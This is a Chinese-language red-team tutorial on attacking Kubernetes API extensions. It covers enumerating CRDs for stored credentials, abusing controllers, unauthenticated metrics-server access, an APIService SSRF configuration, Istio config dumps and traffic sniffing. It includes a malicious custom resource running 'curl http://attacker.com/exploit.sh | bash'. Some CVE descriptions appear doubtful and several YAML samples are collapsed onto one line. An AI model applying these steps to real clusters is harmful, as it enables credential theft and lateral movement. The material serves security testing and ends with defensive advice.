红队视角出发的k8s敏感信息收集——Kubernetes API 扩展与未授权访问

针对 Kubernetes API 扩展与未授权访问 的详细攻击视角分析，聚焦 Custom Resource Definitions (CRD) 和 Aggregated API Servers 的潜在攻击面及利用方法：

​

攻击链示例

1. 攻击者通过 ServiceAccount Token 访问集群 → 
2. 枚举 CRD 发现数据库配置资源 → 
3. 提取明文数据库密码 → 
4. 通过未授权的 metrics-server API 定位高负载节点 → 
5. 横向渗透至数据库 Pod。

Custom Resource Definitions (CRD) 攻击场景

目标：通过查询或滥用 CRD，发现自定义资源中的敏感数据（如凭据）、漏洞的自定义控制器，或利用宽松的 RBAC 权限进行提权。

枚举集群中的 CRD

列出所有 CRD

为了枚举Kubernetes集群中的自定义资源定义（Custom Resource Definitions, CRDs），可以使用kubectl get crd命令。这将帮助你了解当前集群中定义了哪些CRD，以及它们的一些基本信息。

执行以下命令来列出集群中所有的CRD，并以宽格式输出（-o wide），以便获取更多细节：

kubectl get crd -o wide

运行上述命令后，你可能会看到类似如下的输出：

NAME                        CREATED AT             AGE
databases.example.com       2024-01-01T12:00:00Z   14m
workflows.argoproj.io       2024-01-02T15:30:00Z   13m

在这个示例输出中：

• NAME 列出了每个CRD的名称。
• CREATED AT 显示了每个CRD创建的时间戳。
• AGE 表明了从创建到现在的时间长度。

如果你想查看某个特定CRD的更详细信息，包括其规格和状态，可以使用kubectl describe命令。例如，要获取关于databases.example.com CRD的详细信息，你可以运行：

kubectl describe crd databases.example.com

此命令会提供该CRD的完整定义，包括它的规格、状态、已建立的资源版本等详细信息，这对于理解CRD的功能及其在集群中的使用情况非常有用。

分析高风险 CRD

敏感数据存储

分析Kubernetes集群中的自定义资源定义（CRD）以识别潜在的安全风险是确保集群安全的重要步骤。以下是两个主要的风险点及如何进行相应的分析：

如果CRD名称包含诸如secret、credential、config等关键词，这可能意味着该CRD用于存储或处理敏感信息。虽然名称本身并不能完全确定其是否真的存储了敏感数据，但它确实是一个重要的提示信号。

你可以通过以下命令过滤出名称中包含特定关键词的CRD：

kubectl get crd -o json | jq '.items[] | select(.metadata.name | contains("secret") or contains("credential") or contains("config")) | .metadata.name'

一旦找到了可能涉及敏感数据的CRD，可以进一步查看它们的详细定义和用途：

kubectl describe crd <crd-name>

通过检查CRD的规范部分（.spec），你可以了解这些资源是如何被使用的，以及它们的数据模型是否确实包含敏感信息。

自定义控制器漏洞

自定义控制器通常与CRD紧密相关，负责监听并处理这些资源的变化。如果控制器镜像存在已知的安全漏洞（CVE），则可能导致严重的安全隐患。

首先，找到与CRD相关的控制器部署。这通常涉及到查找相关的Deployment、StatefulSet或其他工作负载资源。你可以从CRD的描述信息或者直接在集群配置文件中寻找线索。

例如，如果你知道某个CRD是由特定命名空间下的Deployment管理的，可以查看该Deployment的详细信息：

kubectl get deployment -n <namespace> -o yaml | grep image:

这条命令会列出指定命名空间下所有Deployment所使用的容器镜像。

对于每个镜像，你可以使用多种工具和服务来检查是否存在已知的CVE：

• Trivy 或 Clair：这些工具可以帮助你扫描容器镜像中的已知漏洞。
• 云提供商的安全扫描服务：如AWS ECR、Google Container Registry等提供的内置镜像扫描功能。

例如，使用Trivy扫描一个本地或远程的Docker镜像：

trivy image <image-name>

查询自定义资源数据

获取自定义资源实例

为了查询特定自定义资源（CR）的实例数据，你可以使用kubectl get命令并指定自定义资源的类型和命名空间。以下是如何获取名为databases.example.com的CRD在default命名空间下的所有实例，并以YAML格式输出其详细信息。

假设CRD的名称为databases.example.com，你可以运行以下命令来获取该CRD的所有实例及其详细配置：

kubectl get databases.example.com -n default -o yaml

这条命令会输出所有属于databases.example.com类型的自定义资源实例的详细信息，包括它们的规格（spec）、状态（status）等。

以下是可能的输出示例，其中包含了一些敏感信息如数据库连接字符串、用户名和密码：

apiVersion: v1
items:
- apiVersion: databases.example.com/v1alpha1kind: Databasemetadata:name: mysql-dbnamespace: defaultspec:host: mysql.default.svc.cluster.localusername: adminpassword: Pa$$w0rdport: 3306databaseName: mydatabase
kind: List
metadata:resourceVersion: ""selfLink: ""

在这个示例中：

• host: 数据库服务的主机地址。
• username: 连接数据库所需的用户名。
• password: 连接数据库所需的密码。
• port: 数据库服务监听的端口。
• databaseName: 要使用的具体数据库名称。

利用 CRD 控制器的漏洞

利用CRD控制器中的漏洞（如代码执行或服务器端请求伪造SSRF漏洞）进行攻击是一种严重的安全威胁。通过创建恶意的自定义资源实例，攻击者可能能够触发这些漏洞并执行未经授权的操作。以下是如何模拟这种攻击的示例，但请注意，实际执行此类操作是非法且违反道德的行为，仅应在合法授权的安全测试环境中进行。

假设存在一个名为MaliciousJob的CRD，其对应的控制器存在代码执行漏洞。你可以尝试通过创建该类型的资源来触发攻击。下面是一个示例YAML配置文件：

kubectl apply -f - <<EOF
apiVersion: example.com/v1
kind: MaliciousJob
metadata:name: attack
spec:command: "curl http://attacker.com/exploit.sh | bash"
EOF

在这个示例中：

• apiVersion, kind, 和 metadata.name 定义了自定义资源的API版本、类型和名称。
• spec.command 包含了将要执行的命令。这里假设攻击者想要从远程服务器下载一个脚本并立即执行它。

提权场景示例

宽松的 RBAC 权限

如果RBAC配置过于宽松，允许广泛的权限（如create、update等），则可能存在被滥用的风险。

要检查某个ServiceAccount是否具有对特定CRD执行某些操作（例如创建databases.example.com类型的资源）的权限，可以使用kubectl auth can-i命令。以下是如何操作的具体步骤：

假设你想验证当前上下文中的ServiceAccount是否有权限在所有命名空间中创建databases.example.com类型的资源，可以运行以下命令：

kubectl auth can-i create databases.example.com --all-namespaces

• 如果返回 “yes”，表示该ServiceAccount确实有权限创建这种类型的资源。
• 如果返回 “no”，则表示没有相应的权限。

若发现权限设置过于宽松，需要进一步查看相关的Role或ClusterRole以及它们绑定到ServiceAccount的方式。可以通过以下命令获取更详细的信息：

kubectl get roles,clusterroles -o wide    //列出所有Roles和ClusterRoles

kubectl describe role <role-name> -n <namespace>
# 或者对于ClusterRole
kubectl describe clusterrole <clusterrole-name>       //查看特定Role或ClusterRole的详细信息

kubectl get rolebindings,clusterrolebindings -o wide   //检查RoleBindings和ClusterRoleBindings

查看具体绑定的详情：

kubectl describe rolebinding <rolebinding-name> -n <namespace>
# 或者对于ClusterRoleBinding
kubectl describe clusterrolebinding <clusterrolebinding-name>

Aggregated API Servers 攻击场景

目标：利用附加 API 服务（如 metrics-server、Istio API）的未授权端点或已知漏洞，获取集群信息或执行命令。

发现聚合 API 服务

列出所有 API 资源

列出所有Kubernetes API资源是一个了解集群中可用资源类型及其属性的有效方法。通过kubectl api-resources命令，你可以查看所有的API资源以及它们是否命名空间化、所属的API版本等信息。以下是具体的命令和示例输出。

要列出所有支持list操作的API资源，并以宽格式显示详细信息，可以使用以下命令：

kubectl api-resources --verbs=list -o wide

运行上述命令后，你可能会看到类似如下的输出：

NAME          SHORTNAMES   APIVERSION               NAMESPACED   KIND
metrics       metrics      metrics.k8s.io/v1beta1   false        NodeMetrics
pods          po          v1                       true         Pod
services      svc         v1                       true         Service
namespaces    ns          v1                       false        Namespace

在这个示例输出中：

• NAME: 资源的名称。
• SHORTNAMES: 资源的简称（如果有的话），可用于简化命令输入。
• APIVERSION: 资源对应的API版本。
• NAMESPACED: 表明该资源是否是命名空间级别的（true表示是，false表示不是）。
• KIND: 资源的种类或类型。

如果你想过滤特定的资源类型或者只对某些API组感兴趣，可以结合其他参数使用kubectl api-resources命令。例如，仅列出属于某个特定API组的资源：

kubectl api-resources --api-group=apps

或者，如果你只想查看命名空间级别的资源：

kubectl api-resources --namespaced=true

识别未授权端点

使用 kubectl proxy 命令可以为Kubernetes API服务器创建一个代理服务器，它默认情况下会通过本地的API服务器认证和授权机制进行通信。然而，直接通过这种方式访问API并不意味着绕过了所有的认证和授权检查；实际上，kubectl proxy 会将请求转发给API服务器，并附带当前上下文的认证信息。

但是，如果某个服务（例如metrics-server）配置不当，可能允许未经身份验证或未授权的访问，这就会成为一个安全隐患。下面是如何检测这种情况的具体步骤：

首先，需要启动kubectl proxy，它会在本地机器上打开一个端口（这里以8080为例），并将请求转发到Kubernetes API服务器。

kubectl proxy --port=8080 &

接下来，你可以尝试通过这个代理访问特定的API端点。在这个例子中，我们将尝试访问metrics.k8s.io/v1beta1/nodes，这是一个通常由metrics-server提供的端点，用于获取节点资源使用的数据。

curl http://localhost:8080/apis/metrics.k8s.io/v1beta1/nodes

• 如果响应包含了节点资源使用的详细信息，则说明该端点可能被配置为允许未授权访问（除非你的客户端环境已经预先进行了身份验证）。
• 如果响应是一个权限不足或其他形式的错误消息（如HTTP 403 Forbidden），则表明适当的认证和授权机制正在生效。

利用已知漏洞（以 metrics-server 为例）

CVE-2020-8562：未授权访问

CVE-2020-8562 涉及的是Kubernetes metrics-server的一个安全漏洞，它允许攻击者通过未认证的 /metrics 端点获取敏感指标数据。这种类型的漏洞可能导致未经授权的用户能够访问集群内资源的详细性能数据（如Pod的内存/CPU使用情况），从而可能推断出业务负载和其他敏感信息。

假设攻击者知道了metrics-server的IP地址，他们可以通过以下命令尝试未经身份验证地访问 /metrics 端点：

curl -k https://<metrics-server-ip>:443/metrics

这里的 -k 参数用于忽略SSL证书验证错误（通常在使用自签名证书时需要）。

如果该端点没有正确配置认证和授权，则响应将包含详细的度量数据，例如：

# HELP kube_pod_container_resource_limits_cpu_cores The sum of CPU limits in cores.
# TYPE kube_pod_container_resource_limits_cpu_cores gauge
kube_pod_container_resource_limits_cpu_cores{namespace="default",pod="example-pod"} 1
...

这些信息可以揭示关于Pod资源限制、请求以及实际使用的具体数值，对于攻击者而言，这是非常有价值的信息，可用于进一步的攻击规划或识别潜在的目标。

CVE-2021-25749：kube-apiserver 聚合层 SSRF

通过恶意配置APIService来发起服务器端请求伪造（SSRF）攻击是一种严重的安全威胁。这种攻击利用了Kubernetes API聚合层的特性，允许攻击者将自定义API服务注册到集群中，并且如果配置不当，可能会导致敏感信息泄露或其他形式的安全风险。

以下是一个示例配置，展示了如何创建一个可能被用于SSRF攻击的APIService：

apiVersion: apiregistration.k8s.io/v1
kind: APIService
metadata:name: v1.attacker.com
spec:service:name: malicious-servicenamespace: defaultgroup: attacker.comversion: v1insecureSkipTLSVerify: true  # 这个设置可以被用于绕过TLS验证caBundle: ""  # 空的CA bundle意味着不使用任何证书验证

在这个配置中：

• service.name 和 service.namespace 指定了后端服务的位置。
• group 和 version 定义了新的API组和版本。
• insecureSkipTLSVerify: true 表示跳过TLS证书验证，这可能导致中间人攻击。
• caBundle: “” 表示没有提供CA证书捆绑包，进一步削弱了安全性。

针对 Service Mesh API（如 Istio）

提取 Envoy 配置

通过Istio控制面API获取路由规则可以帮助你了解服务网格内的流量管理配置，但这也意味着如果权限配置不当，可能会被攻击者利用来获取敏感信息，如内部服务的IP地址和端口映射等。

要通过Istio控制面API（通常是istiod）获取配置信息，可以使用以下命令：

curl -k -H "Authorization: Bearer $TOKEN" \https://istiod.istio-system:15014/config_dump

在这个命令中：

• -k 参数用于忽略SSL证书验证错误。
• -H "Authorization: Bearer $TOKEN"添加了必要的认证头，其中$TOKEN是有效的Kubernetes令牌，用于身份验证。
• https://istiod.istio-system:15014/config_dump 是Istio控制面的一个调试端点，它返回当前Envoy代理的配置快照。

利用 mTLS 配置错误

在Istio服务网格中，mTLS（双向TLS）用于加密和验证服务间的通信。然而，如果PeerAuthentication策略配置为PERMISSIVE模式，则意味着服务间通信可以既通过mTLS加密，也可以通过纯文本方式进行。这种配置可能会被攻击者利用来嗅探未加密的流量。

当PeerAuthentication设置为PERMISSIVE时，这意味着服务可以选择使用mTLS或继续使用未加密的HTTP进行通信。这为中间人攻击（MITM）提供了机会，因为攻击者可能能够拦截和读取未加密的流量。

apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:name: defaultnamespace: istio-system
spec:mtls:mode: PERMISSIVE

在此配置下，服务可以选择是否使用mTLS，这意味着存在未加密通信的可能性。

假设你在一个网络位置上能够访问到目标服务的流量，你可以使用工具如tcpdump来捕获网络流量。以下是一个示例命令，用于捕获端口8080上的所有流量并保存到一个文件中：

tcpdump -i eth0 'port 8080' -w traffic.pcap

在这个命令中：

• -i eth0 指定要监听的网络接口。
• ‘port 8080’ 是一个过滤器表达式，仅捕获指定端口上的流量。
• -w traffic.pcap 将捕获的数据包写入traffic.pcap文件，以便后续分析。

总结

首先，通过枚举集群中的Custom Resource Definitions (CRD)，可以发现存储敏感数据的资源或存在漏洞的自定义控制器，进而分析是否存在安全风险。其次，宽松的RBAC权限配置可能导致未经授权的操作，如创建恶意资源实例以触发代码执行或SSRF漏洞。此外，Aggregated API Servers若配置不当，也可能成为攻击入口点，允许攻击者获取内部服务的详细信息或执行未授权操作。

为了防御此类攻击，必须实施严格的认证和授权策略，确保所有API访问都经过适当的验证。同时，应避免使用过于宽松的RBAC规则，并定期审查现有的安全设置。启用TLS加密、应用网络隔离措施、以及使用自动化的安全扫描工具来检测和修复已知漏洞也是必要的防护手段。总之，持续的安全监控和审计对于保护Kubernetes环境免受潜在威胁至关重要。通过遵循最佳实践并及时更新安全策略，组织能够有效降低被攻击的风险。